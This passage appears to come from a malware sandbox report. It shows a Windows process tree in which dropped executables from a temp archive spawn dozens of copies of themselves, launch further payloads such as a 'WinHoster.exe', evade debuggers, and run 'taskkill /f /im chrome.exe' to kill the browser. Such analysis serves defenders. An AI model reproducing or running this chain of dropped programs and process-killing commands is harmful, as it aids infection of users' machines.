                                                                                                                                PID:5836
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                6⤵
                                                                                                                                  PID:7944
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                  6⤵
                                                                                                                                    PID:3836
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                    6⤵
                                                                                                                                      PID:2752
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                      6⤵
                                                                                                                                        PID:5368
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                        6⤵
                                                                                                                                          PID:1432
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                          6⤵
                                                                                                                                            PID:7496
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                            6⤵
                                                                                                                                              PID:7884
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                              6⤵
                                                                                                                                                PID:7008
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                6⤵
                                                                                                                                                  PID:6200
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                  6⤵
                                                                                                                                                    PID:4688
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                    6⤵
                                                                                                                                                      PID:3288
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                      6⤵
                                                                                                                                                        PID:4388
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                        6⤵
                                                                                                                                                          PID:7040
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                          6⤵
                                                                                                                                                            PID:7992
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                            6⤵
                                                                                                                                                              PID:7904
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                              6⤵
                                                                                                                                                                PID:2976
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:7264
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:1060
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:2960
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:2600
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:3060
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:6712
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:5452
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:4636
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:3704
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:5700
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:6608
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:7492
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:8136
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5148
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:6732
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:1304
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:5952
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:5416
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:3680
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:4552
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:6108
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:5424
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:2236
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:7056
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:3760
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:7104
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:8052
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:7776
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:6256
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:7756
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:6988
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:5636
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:7344
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:6632
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:6872
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:6100
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:368
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                            PID:3924
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:7596
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:3800
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:4432
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:7172
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:4328
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                        PID:7848
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                          PID:7248
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                            PID:1272
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                              PID:7224
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:7952
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                  PID:1184
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                    PID:6384
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                      PID:8036
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                        PID:6972
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                          PID:5128
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                            PID:6016
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                              PID:7240
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                PID:7236
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:5420
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                              PID:2144
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                                Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                PID:1968
                                                                                                                                                                                                                                                                                • C:\ProgramData\8886090.exe
                                                                                                                                                                                                                                                                                  "C:\ProgramData\8886090.exe"
                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                  PID:4032
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 4032 -s 620
                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                    PID:7108
                                                                                                                                                                                                                                                                                • C:\ProgramData\2189050.exe
                                                                                                                                                                                                                                                                                  "C:\ProgramData\2189050.exe"
                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                    PID:1980
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:2108
                                                                                                                                                                                                                                                                                  • C:\ProgramData\4024316.exe
                                                                                                                                                                                                                                                                                    "C:\ProgramData\4024316.exe"
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                    PID:3700
                                                                                                                                                                                                                                                                                  • C:\ProgramData\8654473.exe
                                                                                                                                                                                                                                                                                    "C:\ProgramData\8654473.exe"
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:5724
                                                                                                                                                                                                                                                                                  • C:\ProgramData\7537952.exe
                                                                                                                                                                                                                                                                                    "C:\ProgramData\7537952.exe"
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:5624
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                PID:656
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue118f55232e4.exe
                                                                                                                                                                                                                                                                                  Tue118f55232e4.exe
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                  PID:2456
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                      PID:6236
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                        taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                        PID:6388
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                  PID:588
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                                                    Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                    PID:1664
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                  PID:492
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue1109eec571ac.exe
                                                                                                                                                                                                                                                                                    Tue1109eec571ac.exe /mixone
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:1368
